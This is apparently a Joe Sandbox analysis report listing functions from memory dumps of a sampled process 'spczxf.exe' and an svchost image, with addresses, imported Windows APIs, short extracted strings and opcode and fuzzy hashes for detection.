Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: eddba62e07e4cdc55bba6b14f312414a6303fc0a78c3cc64352a63b0f2ef3728
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: B851E13224478981F6ACDE39B05C3EE6791F385F84F490125DEDA1BB89CABDC7048740

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D074926F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000023D07492807
GetLastError.KERNEL32 ref: 0000023D07492829

Strings

U, xrefs: 0000023D074927B3

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 116be0df97be36e1e3100e0f1b6f99011b6b0a78985d12dc989f2b70cfdbebec
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: B341C632715A8092DB64DF35F4483AAB7A0F798B94F504121EE8D8B794EBBCC641C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D074894A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000023D074894F0
RaiseException.KERNEL32 ref: 0000023D07489531

Strings

csm, xrefs: 0000023D0748951E

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: e6648f4e339dcfefbd9e1ca43cd78676c46ecc993106961feabe95ddc9340fcb
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 9F111932214B8482EB658F25F44429977E5F788F94F594220EACC0B758DF3CC651CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07481BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000023D07481C2D
HeapAlloc.KERNEL32 ref: 0000023D07481C3B
GetProcessHeap.KERNEL32 ref: 0000023D07481C77
HeapFree.KERNEL32 ref: 0000023D07481C85

Part of subcall function 0000023D0748152C: StrCmpIW.SHLWAPI ref: 0000023D0748155D

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: eda95c1b707edfd1dbcd35ae1635ab6dcbf081bb3c260b78dd84197f7ea317a9
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 8A118C25601B4881EA48DB7AF80926973A1FB89FC0F194029DE8D8B766DF7CCA42D300

Uniqueness

Uniqueness Score: -1.00%

Function 0000023D07481268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000023D0748126E
HeapAlloc.KERNEL32 ref: 0000023D0748127D
GetProcessHeap.KERNEL32 ref: 0000023D07481297
HeapAlloc.KERNEL32 ref: 0000023D074812A8

Memory Dump Source

Source File: 00000007.00000002.3901166341.0000023D07480000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023D07480000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_23d07480000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 5097f83e79516eaa2abc6ad1cc3417881597c1d4315db4e273a5deb23e34793f
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: A8E06D35601604C6EB088F62E80D34A36E1FB89F46F06C024C9890B361DFBDC999C751

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: spczxf.exePID: 2908, Parent PID: 3416COMMON

Executed Functions

Function 00007FFAAC249DB0 Relevance: 5.7, Strings: 4, Instructions: 727COMMON

Download Yara Rule

Strings

b4_, xrefs: 00007FFAAC24B625
b4_, xrefs: 00007FFAAC24BA0B
d, xrefs: 00007FFAAC24B8BF
b4_, xrefs: 00007FFAAC24B965

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: b4_$b4_$b4_$d
API String ID: 0-794814260
Opcode ID: f03f0317b3a2158ca0d1044a32f6a8b2384da5d1afadebc935829a9d04e1e422
Instruction ID: c545620b027cbca01f8a22c98c031b1d91952c14c9821442ff1b66f126328793
Opcode Fuzzy Hash: f03f0317b3a2158ca0d1044a32f6a8b2384da5d1afadebc935829a9d04e1e422
Instruction Fuzzy Hash: 75224631A1DE498FF759EF28D48597177E0EF46310B0481B9D48EC729BDE28E84A87C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24ACA0 Relevance: 3.4, Strings: 2, Instructions: 896COMMON

Download Yara Rule

Strings

"+r, xrefs: 00007FFAAC24D28E
qN_^, xrefs: 00007FFAAC24D301

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: "+r$qN_^
API String ID: 0-248909583
Opcode ID: 299e30b2602ddd066cf252e4ca27fcf892a55b6e759d8e5e0880824678170e06
Instruction ID: a1c11aa6c7c51e98afc46c3561d56c503cec9c836ec389bfda701752e27230b2
Opcode Fuzzy Hash: 299e30b2602ddd066cf252e4ca27fcf892a55b6e759d8e5e0880824678170e06
Instruction Fuzzy Hash: 54423736A096168FFB58FB2CE4415F97791EF86325F00817AD14ECF29AD924E84E87D0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24897D Relevance: 3.2, Strings: 2, Instructions: 737COMMON

Download Yara Rule

Strings

b4_, xrefs: 00007FFAAC250700
b4_, xrefs: 00007FFAAC25057A

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: b4_$b4_
API String ID: 0-2776246946
Opcode ID: c51e00fdcabde89208c6d31f1b5195d1c02b0913f6f3787e8ee009289ddc7922
Instruction ID: b0d5a015e48f949ad97ce21c66495dd1639070ea7240cc07a480858ff2091911
Opcode Fuzzy Hash: c51e00fdcabde89208c6d31f1b5195d1c02b0913f6f3787e8ee009289ddc7922
Instruction Fuzzy Hash: 6922293191DB8A8FE355DB2888515B27BE0FF5231071485BED08FC7697DA29F84AC781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24B1D1 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0169b48f6e2110d29cb9cc407e4823f489d2a301aa9587e0ae0eb15a61c4148
Instruction ID: c67223d543afc54236ea3468fa9e5be2389cf0b432e4eeccc44174fcb20b8d3b
Opcode Fuzzy Hash: a0169b48f6e2110d29cb9cc407e4823f489d2a301aa9587e0ae0eb15a61c4148
Instruction Fuzzy Hash: 9A81F875A1CA4A8FE758FB28D4554BA73E1FF95311B00463EE48FC3296DE24F84A46C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24AEF0 Relevance: 10.0, Strings: 8, Instructions: 1COMMON

Download Yara Rule

Strings

P*i, xrefs: 00007FFAAC254BB5
[`, xrefs: 00007FFAAC254C66
[`, xrefs: 00007FFAAC254C91
b, xrefs: 00007FFAAC25497B
b, xrefs: 00007FFAAC25493C
P*i, xrefs: 00007FFAAC254B91
6_, xrefs: 00007FFAAC254D94
P/i, xrefs: 00007FFAAC254BCF

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: 6_$ b$ b$P*i$P*i$P/i$[`$[`
API String ID: 0-3334087465
Opcode ID: 1660a0c239169a4099eb8f064890101dc874860b2ba103181128cae6f5850edc
Instruction ID: 92dbcb6e6e780857d17eda46da6590c572f4dc0aad80a0b650b69c10039d3ec8
Opcode Fuzzy Hash: 1660a0c239169a4099eb8f064890101dc874860b2ba103181128cae6f5850edc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC241A99 Relevance: 4.2, Strings: 3, Instructions: 469COMMON

Download Yara Rule

Strings

#3O_^, xrefs: 00007FFAAC242227
0Wi, xrefs: 00007FFAAC242347
r6_, xrefs: 00007FFAAC241C85

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: 0Wi$r6_$#3O_^
API String ID: 0-1431944927
Opcode ID: fd3effa65dd75b0a158a99a7d5ba0c70c3dff2f1b9fe2b0de65f3daed62e306a
Instruction ID: 320e8cf88c3e2529e00b5d468cc5c36d8dde8daa28d7c715dd082ab12e0acea3
Opcode Fuzzy Hash: fd3effa65dd75b0a158a99a7d5ba0c70c3dff2f1b9fe2b0de65f3daed62e306a
Instruction Fuzzy Hash: 79E11771A09A0E8FF798FB78C4556B97BE1EF95350F0041B9D44ED7396DE28AC0A8780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24A6F1 Relevance: 4.2, Strings: 3, Instructions: 446COMMON

Download Yara Rule

Strings

"9_, xrefs: 00007FFAAC24A75E
"9_, xrefs: 00007FFAAC24A772
"9_, xrefs: 00007FFAAC24A74A

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: "9_$"9_$"9_
API String ID: 0-2606864787
Opcode ID: 6a9caef9a8ade5e765a763a34282b8c1f7bb8385f2644423b0b4a7ea3abd382e
Instruction ID: f65862cf63043415fa66eadfd8b34ac5a42f18140e19c51b3d84ddfd24eb7850
Opcode Fuzzy Hash: 6a9caef9a8ade5e765a763a34282b8c1f7bb8385f2644423b0b4a7ea3abd382e
Instruction Fuzzy Hash: ECC14921A1DA56CFF319AB25C5911B977D1EF92310B58817DD08F972CADD2CF88B82C0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAACBA026B Relevance: 3.4, Strings: 2, Instructions: 942COMMON

Download Yara Rule

Strings

A, xrefs: 00007FFAACBA0786
"9_, xrefs: 00007FFAACBA0462

Memory Dump Source

Source File: 00000008.00000002.1755217188.00007FFAACBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaacba0000_spczxf.jbxd

Similarity

API ID:
String ID: "9_$A
API String ID: 0-991652786
Opcode ID: cbbfe0c34d874a52bd4ad06d203a00bce283874f795febbc80d74ab8d6b0a3d7
Instruction ID: 1d9c0ac48924d1afc29f2625bf0a2da422568693977f6e2af999145ed308f56c
Opcode Fuzzy Hash: cbbfe0c34d874a52bd4ad06d203a00bce283874f795febbc80d74ab8d6b0a3d7
Instruction Fuzzy Hash: E152057180E7968FF756DB28D8555A47FA0EF67700F0845FED0CE8B192DA29A80AC7C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC241E2F Relevance: 2.7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

6_, xrefs: 00007FFAAC241F12
O_H, xrefs: 00007FFAAC241E42

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: 6_$ O_H
API String ID: 0-1753639010
Opcode ID: 0f073cc097426c7205e3463da69fc78504b95a3c8e12fafb54617c39fe8eae2e
Instruction ID: 01b5a02a704f46629fa6b9eee497cefe59339c5a80de92f3bca1ec2803462513
Opcode Fuzzy Hash: 0f073cc097426c7205e3463da69fc78504b95a3c8e12fafb54617c39fe8eae2e
Instruction Fuzzy Hash: 6E411531759D498FEB84FB2CC459AA877E2EFA931070541BAD00EC73A6CE64DC4AC780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAACBA0E29 Relevance: 1.7, Strings: 1, Instructions: 416COMMON

Download Yara Rule

Strings

6_, xrefs: 00007FFAACBA117E

Memory Dump Source

Source File: 00000008.00000002.1755217188.00007FFAACBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaacba0000_spczxf.jbxd

Similarity

API ID:
String ID: 6_
API String ID: 0-719347557
Opcode ID: e8272adfb15aa9b732dff135b5ad79d8f31fd4e7bd726a8212de31a8b9c83f1d
Instruction ID: cf96402fbdfbc2460d4954716c8cf2b8181364240386aa88a22d8d0df41392b3
Opcode Fuzzy Hash: e8272adfb15aa9b732dff135b5ad79d8f31fd4e7bd726a8212de31a8b9c83f1d
Instruction Fuzzy Hash: F1C1487290E7D98FE756DB2498551A47FA0EF57610F0981FAC0CECB1A3D929980EC3D2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24E4D8 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

aN_I, xrefs: 00007FFAAC24E604

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: aN_I
API String ID: 0-3942209311
Opcode ID: 9d465ffaaa4aadbe1aa261588f0ef1a3a0ecfa193adef87e557abf2decdc9c1c
Instruction ID: efdef100eae333b7371c2a8aef11559b3f4640d7760bf31c5834128f4714dcd8
Opcode Fuzzy Hash: 9d465ffaaa4aadbe1aa261588f0ef1a3a0ecfa193adef87e557abf2decdc9c1c
Instruction Fuzzy Hash: D5611753A0EAD18BF215737CE9150F8AB90EF42710B0881BBD0DDCB69BE819D94E83D5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24ACB0 Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFAAC24B8BF

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: a698abe9fd9e486bd6c4867280f64530e683835e52edd1f4b694d919d023aa50
Instruction ID: 17ce2ea6ffa1d0310d8f11e96479328c1dba1140c11b9b2ed71ed892ab750a58
Opcode Fuzzy Hash: a698abe9fd9e486bd6c4867280f64530e683835e52edd1f4b694d919d023aa50
Instruction Fuzzy Hash: B861D071A19E098BF74CEF18D58297173D0FB5A304B1481B8D94EC729BEA25F85ACAC1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24D5F6 Relevance: 1.4, Strings: 1, Instructions: 198COMMON

Download Yara Rule

Strings

+0, xrefs: 00007FFAAC24D5FF

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: +0
API String ID: 0-3029883225
Opcode ID: 54a0bf1f915908c630514d274eb4860c13c9cdb19e1c72f6c299a12ba27c5f19
Instruction ID: 02fa7d234ca23d49b52b6dc2bc4a2c549e07e5d3fba043f834eacf70ad518c20
Opcode Fuzzy Hash: 54a0bf1f915908c630514d274eb4860c13c9cdb19e1c72f6c299a12ba27c5f19
Instruction Fuzzy Hash: 2951B33590991A8FEF88EF18C451AE973E1FF55314F1045A9D01EDB2AACA35F84ACBC0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24F1CA Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

p]i, xrefs: 00007FFAAC2566AE

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: p]i
API String ID: 0-3824986665
Opcode ID: 741cfaece5c721c4b94868ae9c57d2b50608e5188f10a17510703d24e8d05a47
Instruction ID: e4fbfba4f1ca37beb37cd002a410dbbfd5b61e0ca7d6d87c946e8fa412a9562e
Opcode Fuzzy Hash: 741cfaece5c721c4b94868ae9c57d2b50608e5188f10a17510703d24e8d05a47
Instruction Fuzzy Hash: 2C511956A0EB898FF355AA78441A2B63BD1DF96660F4841BED08DCB3E7DC1C5C0E4391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24F20A Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

p]i, xrefs: 00007FFAAC2566AE

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: p]i
API String ID: 0-3824986665
Opcode ID: a68850d0068c1462db263dec395540497879f3980206034af284a0c5b3ea4f0f
Instruction ID: 7988ada46169de58cc49440eb8d31b18d0c277191c99e76112fa9366ad6ad847
Opcode Fuzzy Hash: a68850d0068c1462db263dec395540497879f3980206034af284a0c5b3ea4f0f
Instruction Fuzzy Hash: ED412A52A0DB898FF395A67C442A6A62BD1DF96660F0841BED08DCB3E7DC0C5C0E4391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24BBE5 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

6_, xrefs: 00007FFAAC24BC61

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: 6_
API String ID: 0-719347557
Opcode ID: aa54776a65acaa9581ed3ff407e79723c27a10560de9c978d52ee77f0e41ef65
Instruction ID: 166acc118a67949f8e66554726743de822b73ccc16ecabd9d26b0bdb0144423f
Opcode Fuzzy Hash: aa54776a65acaa9581ed3ff407e79723c27a10560de9c978d52ee77f0e41ef65
Instruction Fuzzy Hash: 36215B31A0DF848FD381E728D4545657FE1EF9A221B0802BBE48CC73A7CA24E949C3C2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC249949 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

r6_, xrefs: 00007FFAAC2499BE

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: r6_
API String ID: 0-2221659926
Opcode ID: 5c0b3c47687653d21a79581a4dc790072caed8ea4dd238b140df424c5bacece8
Instruction ID: d601305f9c5befb4b171b5be6cee3e3624450bd2462341a06ec760a39acc3699
Opcode Fuzzy Hash: 5c0b3c47687653d21a79581a4dc790072caed8ea4dd238b140df424c5bacece8
Instruction Fuzzy Hash: 89110C31B09A544FD744EB7C58591E9BBD1DFCA210B0887BBD40DC7356ED69980A43C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24E3E0 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

r6_, xrefs: 00007FFAAC25C806

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: r6_
API String ID: 0-2221659926
Opcode ID: a183d1f08c8b283e0730b87aaf941e9a67179de5ccc5f169e2c497bd8eaee201
Instruction ID: 6752c09017f7aba98ebfea60ebf98e3f1dfbad715d9b6a4b6e72d7353c0c8d41
Opcode Fuzzy Hash: a183d1f08c8b283e0730b87aaf941e9a67179de5ccc5f169e2c497bd8eaee201
Instruction Fuzzy Hash: D8112F31B199564BF75CFB2CD8564B677D1EB85310704867AD48FC33A5DE18E84542C0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC249979 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

r6_, xrefs: 00007FFAAC2499BE

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: r6_
API String ID: 0-2221659926
Opcode ID: b147233d48f5c450c54f0892761edf1eba5886d87ff051134152f6b355d79abd
Instruction ID: f13422427fa9d45ad5a83043d6b91e867b8685e6773ef837e6618b6f121a44c0
Opcode Fuzzy Hash: b147233d48f5c450c54f0892761edf1eba5886d87ff051134152f6b355d79abd
Instruction Fuzzy Hash: F901D62170EB894FD346DB6C58541A57FE1DFCA21470942FBD44DC726BDD689C0A83D2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC241C2B Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

r6_, xrefs: 00007FFAAC241C85

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: r6_
API String ID: 0-2221659926
Opcode ID: fff91f287d5217f8f0ee1b85edc33dcef6fa9fee0cc06bb5ea3fb4f10d55b9c5
Instruction ID: 3f3c2a72377d29056871fb6bafe61283cf6817062fb0841046ed146d633ae263
Opcode Fuzzy Hash: fff91f287d5217f8f0ee1b85edc33dcef6fa9fee0cc06bb5ea3fb4f10d55b9c5
Instruction Fuzzy Hash: 5C11A7A1C0964A4FE706FBF0C8669EDBFA0EF11300F4041B9C00AEB196DE6854498381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC241C19 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

r6_, xrefs: 00007FFAAC241C85

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID: r6_
API String ID: 0-2221659926
Opcode ID: 0a64294af164b4af6e382762e5238c4cdf2cbbdb30be88cb9fc26602922cfc80
Instruction ID: 102f38b99bb9b5df7ade2b1652b31ef2deecaa59a84c5ca8cf332ebc86b13686
Opcode Fuzzy Hash: 0a64294af164b4af6e382762e5238c4cdf2cbbdb30be88cb9fc26602922cfc80
Instruction Fuzzy Hash: BB0192A1D4964A8FE74AFBF0C8665BCBED1AF15350F4085BDC00EEB296EE58584C4392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24EB47 Relevance: .5, Instructions: 492COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f4b17d670b02351dfb6e7ec25d8bdbf2863d5eaff2a684897be62db02877ece
Instruction ID: ff268df0d1b0288e9226f4106ebd504101e2fae964ded526aca0132334145e01
Opcode Fuzzy Hash: 6f4b17d670b02351dfb6e7ec25d8bdbf2863d5eaff2a684897be62db02877ece
Instruction Fuzzy Hash: 5AF11572A0EA89CFF755E768D8555F9BBE0EF52310B0840BAD04DC72A7CA24D80EC795

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC249D40 Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ac1b59f8cd67bf66d7d34569b6b2e9916f5f78b6925ae93f63daabdf0aa4f7e
Instruction ID: 8fc1da0ec9cc1dc5a9b4518c0149d19517947dfffabad090b584741aa7779587
Opcode Fuzzy Hash: 2ac1b59f8cd67bf66d7d34569b6b2e9916f5f78b6925ae93f63daabdf0aa4f7e
Instruction Fuzzy Hash: 4BE1273191E6868FF365AB2488515B5BBD0EF67310F0445BED48EC7296EA18F40E87D1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC248980 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d6f95da505786fd65d140b511a5c452c754cb13224d3761e3746abf40bd98b
Instruction ID: 84a663564fa11b4e8a5f9c2b970c236c0d41f5609525e96677c21d29aa094fe5
Opcode Fuzzy Hash: 07d6f95da505786fd65d140b511a5c452c754cb13224d3761e3746abf40bd98b
Instruction Fuzzy Hash: 3F710431529A098FE719EB18D8415B6B3E0FF56304B1085BDD48FC769ADA39F80B87C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24AF35 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1743126146.00007FFAAC240000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac240000_spczxf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d9ff4c098bd1881e0dd58a6ed985aa4c0bfc1012bf82391c74dbdc30019e401
Instruction ID: 3f823d1c02f43881e2c7a0eee31d05eb9b4b8d867763eca6373372c2deddc64c
Opcode Fuzzy Hash: 9d9ff4c098bd1881e0dd58a6ed985aa4c0bfc1012bf82391c74dbdc30019e401
Instruction Fuzzy Hash: 4771043160E95D8FE758FF1CD4556BA37D0EF86311B1441BEE44EC729ACD28A84A87C0

Uniqueness

Uniqueness Score: -1.00%

